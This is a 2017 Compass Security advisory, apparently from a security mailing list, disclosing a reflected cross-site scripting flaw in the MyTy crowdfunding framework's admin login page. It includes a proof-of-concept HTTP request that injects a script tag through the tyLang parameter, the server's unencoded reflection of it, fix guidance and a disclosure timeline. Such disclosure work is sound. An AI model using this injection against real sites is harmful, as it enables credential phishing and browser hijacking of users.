CSNC-2017-030 MyTy Reflected Cross-Site Scripting (XSS)
Advisories <[email protected]> Tue, 21 Nov 2017 17:14:33 +0000
| Newsgroups | gmane.comp.security.bugtraq,gmane.comp.security.news.securitytracker |
|---|---|
| Message-ID | <[email protected]> |
############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: MyTy # Vendor: Finlane GmbH # CSNC ID: CSNC-2017-030 # CVE ID: - # Subject: Reflected Cross-Site Scripting (XSS) # Risk: High # Effect: Remotely exploitable # Author: Nicolas Heiniger <[email protected]> # Date: 21.11.2017 # ############################################################# Introduction: ------------- MyTy[1] is a software framework that includes a crowdfunding module. It can= be installed on a customer server and used to create whitelabel websites for crowdfunding platforms. Compass Security discovered a web application security flaw in the login pa= ge of the administration web console that allows an unauthenticated attacker to execute JavaScript code in the browser of a legitimate user. This allows, = for instance, to redirect the user to a phishing page and gather credentials. Affected: --------- Vulnerable: * MyTy 5.1.0 to 5.1.7 Technical Description --------------------- In the login page of the administration console, a tyLang parameter is pass= ed together with the user and the password in the login request. This paramete= r is then included unencoded in the HTTP response. The login request for a proof of concept is as follows: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D POST /tycon/index.php HTTP/1.1 Host: [CUT BY COMPASS] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox= /45.0 Accept: text/html,application/xhtml+xml,application/xml;q=3D0.9,*/*;q=3D0.8 Accept-Language: en-US,en;q=3D0.5 Referer: [CUT BY COMPASS] Cookie: tyFl=3Dde_de; XSRF-TOKEN=3DZNc%2FZRg4sCgXP0g3IZZ8QxsO7caLshyKp7u75y= iyW5o%3D; lang=3Dde; PHPSESSID=3Db4pcsacfvpv716e3l825cqbuo3; tyBl=3Den_us; cfce=3D1; _ga=3DGA1.2.75537659.1504612703; cf_cookie_policy_read=3D1; _gid=3DGA1.2.1498092563.1504761922 CSNC-HEN: Pentest1-Blue Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 97 view=3Ddefault&fromTopic=3D&tyLang=3Dde"</script><script>alert(1)</script> &seleted_user_id=3D0&seleted_user_hash=3D&name=3Dadmin&password=3D123456 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The HTTP response shows that the payload is returned unencoded in the HTML = page: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Sep 2017 06:52:05 GMT Content-Type: text/html; charset=3Dutf-8 [CUT BY COMPASS] <!DOCTYPE HTML> <html> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; cha= rset=3Dutf-8"> <meta name=3D"robots" content=3D"noindex,nofollow"> <base target=3D"_top"/> <title>myty-Login | myty 5.1.7/2017-09-06</title> <meta name=3D"viewport" content=3D"width=3Ddevice-width, in= itial-scale=3D1.0, minimum-scale=3D1.0"/> <!-- Adding "maximum-scale=3D1" fixes the Mobile Safari aut= o-zoom bug: http://filamentgroup.com/examples/iosScaleBug/ --> <link href=3D"/tycon/themes/spring/styles/defaultlogin.css" rel=3D"stylesheet" type=3D"text/css"/> <!--[if gte IE 9]> <style type=3D"text/css"> .gradient {filter: none;} </style> <![endif]--> <script src=3D"/3rdParty/bower_components/jquery/dist/jquer= y.min.js"> </script> <script type=3D"text/javascript">var myty =3D { version: '5.1.7', revision: 5001007, backend: { basepath: '/tycon', language: 'de"</script><script>alert(1)</script>', themepath: '/tycon/themes/spring' }, [CUT BY COMPASS] =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Workaround / Fix: ----------------- Install an up to date version of the MyTy software. As a developer: This issue can be fixed by properly encoding dangerous characters in the ou= tput according to the encoding rules of the respective type of context (HTML bod= y, argument, JS string, generated URLs). For normal HTML body content, the following HTML entities can be used: < -> < > -> > " -> " ' -> ' & -> & Timeline: --------- 2017-11-21: Coordinated public disclosure date 2017-09-08: Release of fix in version 5.1.8 2017-09-08: Initial vendor response 2017-09-07: Initial vendor notification 2017-09-07: Discovery by Nicolas Heiniger References: ----------- [1] https://www.finlane.com/loesungen/whitelabel-pages/